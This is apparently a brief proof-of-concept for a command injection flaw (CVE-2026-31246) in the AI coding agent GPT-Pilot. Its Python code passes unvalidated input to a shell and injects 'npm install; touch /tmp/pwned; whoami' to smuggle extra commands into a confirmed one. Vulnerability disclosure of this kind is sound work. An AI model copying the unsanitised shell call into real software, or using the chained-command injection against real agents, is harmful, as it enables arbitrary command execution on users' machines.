CVE-2026-31246 GPT-Pilot命令注入漏洞

import asyncio # Simulate the vulnerable Executor.run() logic async def vulnerable_executor(user_input): # Vulnerability: Directly passing user input to shell without validation print(f"[VULN] Executing command: {user_input}") proc = await asyncio.create_subprocess_shell(user_input) stdout, stderr = await proc.communicate() print(f"[VULN] Output: {stdout.decode()}") # PoC: Injecting malicious command # Scenario: User is prompted to confirm a command, e.g., 'npm install' # Attacker provides input: 'npm install; touch /tmp/pwned; whoami' malicious_payload = "npm install; touch /tmp/pwned; whoami" # Execute the PoC print("--- Starting PoC for CVE-2026-31246 ---") asyncio.run(vulnerable_executor(malicious_payload))